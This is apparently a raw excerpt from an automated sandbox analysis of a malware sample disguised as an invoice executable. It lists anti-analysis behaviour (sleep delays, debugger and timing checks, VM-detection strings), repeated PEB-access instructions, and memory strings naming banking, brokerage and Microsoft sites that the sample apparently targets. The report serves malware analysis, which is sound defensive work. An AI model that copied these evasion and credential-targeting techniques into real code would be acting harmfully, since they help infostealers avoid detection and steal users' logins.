Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe TID: 3360	Thread sleep time: -42000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 4412	Thread sleep count: 231 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 4412	Thread sleep time: -462000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 4412	Thread sleep count: 9742 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 4412	Thread sleep time: -19484000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 15_2_007CC3A0 FindFirstFileW,FindNextFileW,FindClose,

15_2_007CC3A0

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: 7-j38IBI.15.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 7-j38IBI.15.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 7-j38IBI.15.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: z1SupplyInvoiceCM60916_Doc.exe, 00000000.00000002.2189838691.00000000018BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}h
Source: 7-j38IBI.15.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: 7-j38IBI.15.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 7-j38IBI.15.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: 7-j38IBI.15.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 7-j38IBI.15.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 7-j38IBI.15.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 7-j38IBI.15.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: 7-j38IBI.15.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: svchost.exe, 0000000F.00000002.4575202622.0000000002E0B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll_
Source: 7-j38IBI.15.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 7-j38IBI.15.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 7-j38IBI.15.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 7-j38IBI.15.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: firefox.exe, 00000017.00000002.2584597655.0000025C7218C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllKK
Source: 7-j38IBI.15.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 7-j38IBI.15.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: IEFVDUdSaLLhw.exe, 0000000D.00000002.4576448168.0000000000A47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlls"Q
Source: 7-j38IBI.15.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 7-j38IBI.15.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 7-j38IBI.15.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 7-j38IBI.15.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 7-j38IBI.15.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 7-j38IBI.15.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 7-j38IBI.15.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 7-j38IBI.15.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 7-j38IBI.15.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: z1SupplyInvoiceCM60916_Doc.exe, 00000000.00000002.2189838691.00000000018BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\l4+,uF
Source: 7-j38IBI.15.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 7-j38IBI.15.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 7-j38IBI.15.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 7-j38IBI.15.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 7-j38IBI.15.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe

Code function: 11_2_0174096E rdtsc

11_2_0174096E

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe

Code function: 11_2_004177A3 LdrLoadDll,

11_2_004177A3

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D4164 mov eax, dword ptr fs:[00000030h]	11_2_017D4164
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D4164 mov eax, dword ptr fs:[00000030h]	11_2_017D4164
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01798158 mov eax, dword ptr fs:[00000030h]	11_2_01798158
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01706154 mov eax, dword ptr fs:[00000030h]	11_2_01706154
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01706154 mov eax, dword ptr fs:[00000030h]	11_2_01706154
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FC156 mov eax, dword ptr fs:[00000030h]	11_2_016FC156
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01794144 mov eax, dword ptr fs:[00000030h]	11_2_01794144
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01794144 mov eax, dword ptr fs:[00000030h]	11_2_01794144
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01794144 mov ecx, dword ptr fs:[00000030h]	11_2_01794144
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01794144 mov eax, dword ptr fs:[00000030h]	11_2_01794144
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01794144 mov eax, dword ptr fs:[00000030h]	11_2_01794144
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01730124 mov eax, dword ptr fs:[00000030h]	11_2_01730124
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AA118 mov ecx, dword ptr fs:[00000030h]	11_2_017AA118
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AA118 mov eax, dword ptr fs:[00000030h]	11_2_017AA118
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AA118 mov eax, dword ptr fs:[00000030h]	11_2_017AA118
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AA118 mov eax, dword ptr fs:[00000030h]	11_2_017AA118
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C0115 mov eax, dword ptr fs:[00000030h]	11_2_017C0115
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AE10E mov eax, dword ptr fs:[00000030h]	11_2_017AE10E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AE10E mov ecx, dword ptr fs:[00000030h]	11_2_017AE10E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AE10E mov eax, dword ptr fs:[00000030h]	11_2_017AE10E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AE10E mov eax, dword ptr fs:[00000030h]	11_2_017AE10E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AE10E mov ecx, dword ptr fs:[00000030h]	11_2_017AE10E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AE10E mov eax, dword ptr fs:[00000030h]	11_2_017AE10E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AE10E mov eax, dword ptr fs:[00000030h]	11_2_017AE10E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AE10E mov ecx, dword ptr fs:[00000030h]	11_2_017AE10E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AE10E mov eax, dword ptr fs:[00000030h]	11_2_017AE10E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AE10E mov ecx, dword ptr fs:[00000030h]	11_2_017AE10E
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017301F8 mov eax, dword ptr fs:[00000030h]	11_2_017301F8
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D61E5 mov eax, dword ptr fs:[00000030h]	11_2_017D61E5
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177E1D0 mov eax, dword ptr fs:[00000030h]	11_2_0177E1D0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177E1D0 mov eax, dword ptr fs:[00000030h]	11_2_0177E1D0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177E1D0 mov ecx, dword ptr fs:[00000030h]	11_2_0177E1D0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177E1D0 mov eax, dword ptr fs:[00000030h]	11_2_0177E1D0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177E1D0 mov eax, dword ptr fs:[00000030h]	11_2_0177E1D0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C61C3 mov eax, dword ptr fs:[00000030h]	11_2_017C61C3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C61C3 mov eax, dword ptr fs:[00000030h]	11_2_017C61C3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178019F mov eax, dword ptr fs:[00000030h]	11_2_0178019F
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178019F mov eax, dword ptr fs:[00000030h]	11_2_0178019F
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178019F mov eax, dword ptr fs:[00000030h]	11_2_0178019F
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178019F mov eax, dword ptr fs:[00000030h]	11_2_0178019F
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01740185 mov eax, dword ptr fs:[00000030h]	11_2_01740185
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017BC188 mov eax, dword ptr fs:[00000030h]	11_2_017BC188
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017BC188 mov eax, dword ptr fs:[00000030h]	11_2_017BC188
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FA197 mov eax, dword ptr fs:[00000030h]	11_2_016FA197
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FA197 mov eax, dword ptr fs:[00000030h]	11_2_016FA197
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FA197 mov eax, dword ptr fs:[00000030h]	11_2_016FA197
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A4180 mov eax, dword ptr fs:[00000030h]	11_2_017A4180
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A4180 mov eax, dword ptr fs:[00000030h]	11_2_017A4180
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172C073 mov eax, dword ptr fs:[00000030h]	11_2_0172C073
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01702050 mov eax, dword ptr fs:[00000030h]	11_2_01702050
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01786050 mov eax, dword ptr fs:[00000030h]	11_2_01786050
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01796030 mov eax, dword ptr fs:[00000030h]	11_2_01796030
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FA020 mov eax, dword ptr fs:[00000030h]	11_2_016FA020
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FC020 mov eax, dword ptr fs:[00000030h]	11_2_016FC020
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171E016 mov eax, dword ptr fs:[00000030h]	11_2_0171E016
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171E016 mov eax, dword ptr fs:[00000030h]	11_2_0171E016
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171E016 mov eax, dword ptr fs:[00000030h]	11_2_0171E016
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171E016 mov eax, dword ptr fs:[00000030h]	11_2_0171E016
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01784000 mov ecx, dword ptr fs:[00000030h]	11_2_01784000
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A2000 mov eax, dword ptr fs:[00000030h]	11_2_017A2000
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A2000 mov eax, dword ptr fs:[00000030h]	11_2_017A2000
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A2000 mov eax, dword ptr fs:[00000030h]	11_2_017A2000
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A2000 mov eax, dword ptr fs:[00000030h]	11_2_017A2000
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A2000 mov eax, dword ptr fs:[00000030h]	11_2_017A2000
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A2000 mov eax, dword ptr fs:[00000030h]	11_2_017A2000
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A2000 mov eax, dword ptr fs:[00000030h]	11_2_017A2000
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A2000 mov eax, dword ptr fs:[00000030h]	11_2_017A2000
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017420F0 mov ecx, dword ptr fs:[00000030h]	11_2_017420F0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FA0E3 mov ecx, dword ptr fs:[00000030h]	11_2_016FA0E3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017860E0 mov eax, dword ptr fs:[00000030h]	11_2_017860E0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017080E9 mov eax, dword ptr fs:[00000030h]	11_2_017080E9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FC0F0 mov eax, dword ptr fs:[00000030h]	11_2_016FC0F0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017820DE mov eax, dword ptr fs:[00000030h]	11_2_017820DE
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C60B8 mov eax, dword ptr fs:[00000030h]	11_2_017C60B8
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C60B8 mov ecx, dword ptr fs:[00000030h]	11_2_017C60B8
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016F80A0 mov eax, dword ptr fs:[00000030h]	11_2_016F80A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017980A8 mov eax, dword ptr fs:[00000030h]	11_2_017980A8
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170208A mov eax, dword ptr fs:[00000030h]	11_2_0170208A
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A437C mov eax, dword ptr fs:[00000030h]	11_2_017A437C
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178035C mov eax, dword ptr fs:[00000030h]	11_2_0178035C
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178035C mov eax, dword ptr fs:[00000030h]	11_2_0178035C
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178035C mov eax, dword ptr fs:[00000030h]	11_2_0178035C
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178035C mov ecx, dword ptr fs:[00000030h]	11_2_0178035C
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178035C mov eax, dword ptr fs:[00000030h]	11_2_0178035C
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178035C mov eax, dword ptr fs:[00000030h]	11_2_0178035C
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A8350 mov ecx, dword ptr fs:[00000030h]	11_2_017A8350
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CA352 mov eax, dword ptr fs:[00000030h]	11_2_017CA352
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01782349 mov eax, dword ptr fs:[00000030h]	11_2_01782349
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01782349 mov eax, dword ptr fs:[00000030h]	11_2_01782349
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01782349 mov eax, dword ptr fs:[00000030h]	11_2_01782349
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01782349 mov eax, dword ptr fs:[00000030h]	11_2_01782349
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01782349 mov eax, dword ptr fs:[00000030h]	11_2_01782349
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01782349 mov eax, dword ptr fs:[00000030h]	11_2_01782349
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01782349 mov eax, dword ptr fs:[00000030h]	11_2_01782349
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01782349 mov eax, dword ptr fs:[00000030h]	11_2_01782349
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01782349 mov eax, dword ptr fs:[00000030h]	11_2_01782349
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01782349 mov eax, dword ptr fs:[00000030h]	11_2_01782349
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01782349 mov eax, dword ptr fs:[00000030h]	11_2_01782349
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01782349 mov eax, dword ptr fs:[00000030h]	11_2_01782349
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01782349 mov eax, dword ptr fs:[00000030h]	11_2_01782349
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01782349 mov eax, dword ptr fs:[00000030h]	11_2_01782349
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01782349 mov eax, dword ptr fs:[00000030h]	11_2_01782349
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D634F mov eax, dword ptr fs:[00000030h]	11_2_017D634F
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D8324 mov eax, dword ptr fs:[00000030h]	11_2_017D8324
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D8324 mov ecx, dword ptr fs:[00000030h]	11_2_017D8324
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D8324 mov eax, dword ptr fs:[00000030h]	11_2_017D8324
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D8324 mov eax, dword ptr fs:[00000030h]	11_2_017D8324
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01720310 mov ecx, dword ptr fs:[00000030h]	11_2_01720310
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173A30B mov eax, dword ptr fs:[00000030h]	11_2_0173A30B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173A30B mov eax, dword ptr fs:[00000030h]	11_2_0173A30B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173A30B mov eax, dword ptr fs:[00000030h]	11_2_0173A30B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FC310 mov ecx, dword ptr fs:[00000030h]	11_2_016FC310
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171E3F0 mov eax, dword ptr fs:[00000030h]	11_2_0171E3F0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171E3F0 mov eax, dword ptr fs:[00000030h]	11_2_0171E3F0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171E3F0 mov eax, dword ptr fs:[00000030h]	11_2_0171E3F0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017363FF mov eax, dword ptr fs:[00000030h]	11_2_017363FF
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017103E9 mov eax, dword ptr fs:[00000030h]	11_2_017103E9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017103E9 mov eax, dword ptr fs:[00000030h]	11_2_017103E9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017103E9 mov eax, dword ptr fs:[00000030h]	11_2_017103E9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017103E9 mov eax, dword ptr fs:[00000030h]	11_2_017103E9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017103E9 mov eax, dword ptr fs:[00000030h]	11_2_017103E9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017103E9 mov eax, dword ptr fs:[00000030h]	11_2_017103E9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017103E9 mov eax, dword ptr fs:[00000030h]	11_2_017103E9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017103E9 mov eax, dword ptr fs:[00000030h]	11_2_017103E9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AE3DB mov eax, dword ptr fs:[00000030h]	11_2_017AE3DB
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AE3DB mov eax, dword ptr fs:[00000030h]	11_2_017AE3DB
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AE3DB mov ecx, dword ptr fs:[00000030h]	11_2_017AE3DB
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AE3DB mov eax, dword ptr fs:[00000030h]	11_2_017AE3DB
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A43D4 mov eax, dword ptr fs:[00000030h]	11_2_017A43D4
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A43D4 mov eax, dword ptr fs:[00000030h]	11_2_017A43D4
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A3C0 mov eax, dword ptr fs:[00000030h]	11_2_0170A3C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A3C0 mov eax, dword ptr fs:[00000030h]	11_2_0170A3C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A3C0 mov eax, dword ptr fs:[00000030h]	11_2_0170A3C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A3C0 mov eax, dword ptr fs:[00000030h]	11_2_0170A3C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A3C0 mov eax, dword ptr fs:[00000030h]	11_2_0170A3C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170A3C0 mov eax, dword ptr fs:[00000030h]	11_2_0170A3C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017083C0 mov eax, dword ptr fs:[00000030h]	11_2_017083C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017083C0 mov eax, dword ptr fs:[00000030h]	11_2_017083C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017083C0 mov eax, dword ptr fs:[00000030h]	11_2_017083C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017083C0 mov eax, dword ptr fs:[00000030h]	11_2_017083C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017BC3CD mov eax, dword ptr fs:[00000030h]	11_2_017BC3CD
